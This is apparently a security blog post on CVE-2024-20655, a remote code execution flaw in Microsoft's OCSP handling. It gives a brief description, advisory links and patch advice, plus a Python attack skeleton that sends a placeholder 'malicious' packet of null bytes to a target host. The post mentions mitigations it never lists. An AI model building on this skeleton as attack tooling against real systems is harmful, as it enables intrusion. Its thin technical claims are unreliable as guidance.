CVE-2024-20655: Microsoft Online Certificate Status Protocol (OCSP) Remote Code Execution Vulnerability - Exploits, Patches, and Prevention

In the world of cybersecurity, new vulnerabilities are discovered and patched on a regular basis. These vulnerabilities can often lead to severe consequences if they are left unattended and exploited by threat actors. Today, we explore a critical vulnerability dubbed CVE-2024-20655. This vulnerability exists in Microsoft's implementation of the Online Certificate Status Protocol (OCSP), leading to a potential remote code execution scenario.

Microsoft's OCSP implementation contains a critical flaw that allows an attacker to execute arbitrary code on a target system remotely. In this long read post, we will walk you through the details of this vulnerability, how it can be exploited, key resources, and ways to mitigate the associated risks.

Vulnerability Details

CVE-2024-20655 is a remote code execution vulnerability in Microsoft's implementation of the Online Certificate Status Protocol (OCSP). The vulnerability exists due to improper validation of user-supplied data when parsing OCSP response packets.

When exploited successfully, a remote attacker can run arbitrary code on the target system with the permissions of the user running the affected software. Consequently, this may lead to unauthorized access, data theft, and other malicious activities.

Exploiting CVE-2024-20655

To exploit this vulnerability, an attacker must first craft a malicious OCSP response packet and send it to the target system. A sample code snipplet to create such a response is as follows:

import socket

def create_malicious_ocsp_response():
    # Craft a malicious OCSP packet (this is just an example)
    malicious_packet = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    return malicious_packet

def main():
    target_host = "TARGET_IP_ADDRESS"
    target_port = OCSP_TARGET_PORT
    
    # Connect to target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_host, target_port))

    # Send malicious OCSP response
    malicious_response = create_malicious_ocsp_response()
    s.send(malicious_response)
    s.close()
    
if __name__ == "__main__":
    main()

Keep in mind that this is just a sample code snippet, and the actual creation of the malicious OCSP packet depends on the target's specific configuration.

Here are some official references to learn more about the vulnerability

1. CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-20655
2. Microsoft Security Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20655

Patch and Mitigation

Thankfully, Microsoft has released a patch addressing the said vulnerability, which can be found in their official security advisory linked above. It is highly recommended that you apply the patch as soon as possible to protect your systems from potential exploits.

Conclusion

CVE-2024-20655 is a critical vulnerability in Microsoft's Online Certificate Status Protocol implementation. The vulnerability allows an attacker to execute arbitrary code on a target system remotely. Make sure to apply the patch provided by Microsoft and follow the suggested mitigating measures to minimize the risks associated with this vulnerability. By staying informed and taking prompt action, you can secure your systems and protect your critical assets.

Timeline

Published on: 01/09/2024 18:15:48 UTC
Last modified on: 01/17/2024 01:06:16 UTC